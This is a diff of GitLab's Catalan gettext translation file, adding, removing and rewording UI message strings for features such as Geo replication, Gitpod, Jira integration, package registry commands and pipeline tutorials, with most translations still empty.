msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Mai"
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Estat desconegut"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr "Informació del grup:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Amaga el valor"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Historial"
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Enrere"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Petició de fusió"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
